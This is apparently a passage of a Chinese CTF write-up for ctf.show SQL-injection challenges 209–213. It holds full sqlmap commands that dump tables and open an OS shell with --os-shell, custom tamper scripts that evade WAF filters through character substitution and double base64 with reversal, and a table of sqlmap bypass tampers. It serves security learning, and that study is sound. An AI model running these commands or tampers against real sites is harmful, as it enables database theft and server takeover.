python3 sqlmap.py -u "http://05c26fc5-ce78-49b1-af86-aa57f63f7352.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://05c26fc5-ce78-49b1-af86-aa57f63f7352.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=igqfvdb6q8776gjl2kj45d5dre" --user-agent=sqlmap --referer=ctf.show --tamper="space2tab,asterisk2newline,equaltolike,randomcase" -D ctfshow_web -T ctfshow_flav --dump

也可以直接用换行把这*和空格都过滤的tamper

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '=':
                retVal += chr(0x0a)+'like'+chr(0x0a)
                continue
            
            elif payload[i] == '*':
                retVal += chr(0x0a)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal
1
2
3
python3 sqlmap.py -u "http://e7644ec1-f00f-4252-8e0e-6ded4c1345c6.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://e7644ec1-f00f-4252-8e0e-6ded4c1345c6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show --tamper="ctfshowweb209" -D ctfshow_web --tables

python3 sqlmap.py -u "http://e7644ec1-f00f-4252-8e0e-6ded4c1345c6.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://e7644ec1-f00f-4252-8e0e-6ded4c1345c6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show --tamper="ctfshowweb209" -D ctfshow_web -T ctfshow_flav --dump

web210

1
2
3
function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }

反着写个tamper就好了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST


def dependencies():
    pass


def tamper(payload, **kwargs):

    if payload:
        reversed_encoded=payload[::-1]
        encoded=base64.b64encode(reversed_encoded.encode('utf-8')).decode('utf-8')
        double_reversed_encoded=encoded[::-1]
        final_encoded=base64.b64encode(double_reversed_encoded.encode('utf-8')).decode('utf-8')
        return final_encoded

    return payload
1
2
3
python3 sqlmap.py -u "http://c4f3da76-d10a-469e-bc92-07e003617a34.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://c4f3da76-d10a-469e-bc92-07e003617a34.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=sm67m32oeefg55tcpiq1smouod" --user-agent=sqlmap --referer=ctf.show --tamper="ctfshowweb210" -D ctfshow_web --tables

python3 sqlmap.py -u "http://c4f3da76-d10a-469e-bc92-07e003617a34.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://c4f3da76-d10a-469e-bc92-07e003617a34.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=sm67m32oeefg55tcpiq1smouod" --user-agent=sqlmap --referer=ctf.show --tamper="ctfshowweb210" -D ctfshow_web -T ctfshow_flavi --dump

web211

加个绕过空格就可以

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST


def dependencies():
    pass


def tamper(payload, **kwargs):

    if payload:
        payload = payload.replace(" ", "/**/")
        reversed_encoded=payload[::-1]
        encoded=base64.b64encode(reversed_encoded.encode('utf-8')).decode('utf-8')
        double_reversed_encoded=encoded[::-1]
        final_encoded=base64.b64encode(double_reversed_encoded.encode('utf-8')).decode('utf-8')
        return final_encoded

    return payload
1
2
3
python3 sqlmap.py -u "http://0bd6a136-199c-451a-aa5f-622d5e99a51d.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://0bd6a136-199c-451a-aa5f-622d5e99a51d.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=eusf2q9tfu758qcjpl98l3rck4" --user-agent=sqlmap --referer=ctf.show --tamper="ctfshowweb211" -D ctfshow_web --tables

python3 sqlmap.py -u "http://0bd6a136-199c-451a-aa5f-622d5e99a51d.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://0bd6a136-199c-451a-aa5f-622d5e99a51d.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=eusf2q9tfu758qcjpl98l3rck4" --user-agent=sqlmap --referer=ctf.show --tamper="ctfshowweb211" -D ctfshow_web -T ctfshow_flavia --dump

web212

1
2
3
4
5
6
function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ |\*/', $str);
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST


def dependencies():
    pass


def tamper(payload, **kwargs):

    if payload:
        payload = payload.replace(" ", chr(0x09))
        reversed_encoded=payload[::-1]
        encoded=base64.b64encode(reversed_encoded.encode('utf-8')).decode('utf-8')
        double_reversed_encoded=encoded[::-1]
        final_encoded=base64.b64encode(double_reversed_encoded.encode('utf-8')).decode('utf-8')
        return final_encoded

    return payload
1
2
3
python3 sqlmap.py -u "http://2a62292f-5ea8-4590-ab1d-3edbbd9b6d20.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://2a62292f-5ea8-4590-ab1d-3edbbd9b6d20.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=eusf2q9tfu758qcjpl98l3rck4" --user-agent=sqlmap --referer=ctf.show --tamper="ctfshowweb212" -D ctfshow_web --tables

python3 sqlmap.py -u "http://2a62292f-5ea8-4590-ab1d-3edbbd9b6d20.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://2a62292f-5ea8-4590-ab1d-3edbbd9b6d20.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=eusf2q9tfu758qcjpl98l3rck4" --user-agent=sqlmap --referer=ctf.show --tamper="ctfshowweb212" -D ctfshow_web -T ctfshow_flavis --dump

web213

waf一样

1
python3 sqlmap.py -u "http://dbae3790-fac5-4d70-948e-72d3aae610c6.challenge.ctf.show/api/index.php" --user-agent=sqlmap --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --cookie="PHPSESSID=tpp6v8rj8dr0jpglrfqu0db8a9" --safe-url="http://dbae3790-fac5-4d70-948e-72d3aae610c6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="ctfshowweb212" -D ctfshow_web --tables --batch

没有flag表名,尝试连接shell

1
python3 sqlmap.py -u "http://dbae3790-fac5-4d70-948e-72d3aae610c6.challenge.ctf.show/api/index.php" --user-agent=sqlmap --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --cookie="PHPSESSID=tpp6v8rj8dr0jpglrfqu0db8a9" --safe-url="http://dbae3790-fac5-4d70-948e-72d3aae610c6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="ctfshowweb212" -D ctfshow_web --tables --batch --os-shell

1

Tamper

空白字符处理

脚本名称功能描述
space2comment.py使用 /**/ 代替空格
space2dash.py绕过过滤 =,用 -- 注释替换空格,后跟随机字符串和换行符
space2hash.py将空格替换为 # 号,后跟随机字符串和换行符
space2morehash.py将空格替换为 # 号以及更多随机字符串和换行符
space2mssqlblank.py使用 MSSQL 特有的空白符替换空格
space2mysqlblank.py使用 MySQL 特有的空白符替换空格
space2mysqldash.py将空格替换为 -- 破折号注释和换行符
space2plus.py+ 替换空格
space2randomblank.py将空格替换为随机有效的空白字符
multiplespaces.py在 SQL 关键字周围添加多个空格
bluecoat.py用随机有效空白字符替换空格,并将 = 替换为 like
space2comment.py将空格替换为注释 /**/

字符编码与替换

脚本名称功能描述
apostrophemask.py使用 UTF-8 编码替换引号
apostrophenullencode.py绕过双引号过滤,替换字符和双引号
charencode.pyURL 编码
charunicodeencode.py字符串 Unicode 编码
chardoubleencode.py双重 URL 编码(不处理已编码的)
randomcase.pySQL 关键字随机大小写
unmagicquotes.py使用宽字符绕过 GPC addslashes
base64encode.py使用 Base64 编码替换

操作符替换

脚本名称功能描述
equaltolike.pylike 替换等号
greatest.py绕过过滤 >,用 GREATEST 替换大于号
between.pybetween 替换大于号 >
ifnull2ifisnull.py绕过 IFNULL 过滤,将 IFNULL(A,B) 替换为 IF(ISNULL(A), B, A)

注释与关键字处理

脚本名称功能描述
halfversionedmorekeywords.pyMySQL 环境下绕过防火墙,在关键字前添加 MySQL 版本注释
randomcomments.py/**/ 分割 SQL 关键字
modsecurityversioned.py通过完整查询版本注释绕过过滤
versionedmorekeywords.py使用注释绕过
nonrecursivereplacement.py使用双重查询语句替代 SQL 关键字

联合查询处理

脚本名称功能描述
unionalltounion.pyUNION ALL SELECT 替换为 UNION SELECT

特殊技巧

脚本名称功能描述
appendnullbyte.py在有效负载结束位置添加零字节字符编码
sp_password.py在负载末尾追加 sp_password,使其在 DBMS 日志中自动模糊处理
securesphere.py追加特制字符串

使用方法

在 SQLmap 命令中使用 --tamper 参数来指定一个或多个 Tamper 脚本:

1
python sqlmap.py -u "http://example.com" --tamper="space2comment,between"

可以通过逗号分隔使用多个 Tamper 脚本,按照从左到右的顺序依次应用。

小结

很抽象就是我虚拟机比本地跑的快很多,不知道为什么,简单的201,本机跑了五六分钟,但是虚拟机就两分钟的样子,算是深入浅出了一下sqlmap,知道了一些常用的打法,baozongwi现在也会写点简单的tamper了